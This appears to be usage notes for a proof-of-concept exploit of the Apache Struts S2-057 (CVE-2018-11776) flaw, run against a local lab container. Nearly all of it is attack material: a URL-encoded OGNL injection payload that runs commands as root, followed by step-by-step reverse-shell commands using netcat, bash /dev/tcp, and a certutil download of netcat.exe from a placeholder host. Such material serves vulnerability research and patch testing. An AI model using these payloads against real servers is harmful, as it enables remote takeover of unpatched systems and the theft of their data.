<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

$ /usr/local/tomcat/bin/shutdown.sh

$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

$ netcat -lvp 31337

# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

$ netcat -lvp 31337

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'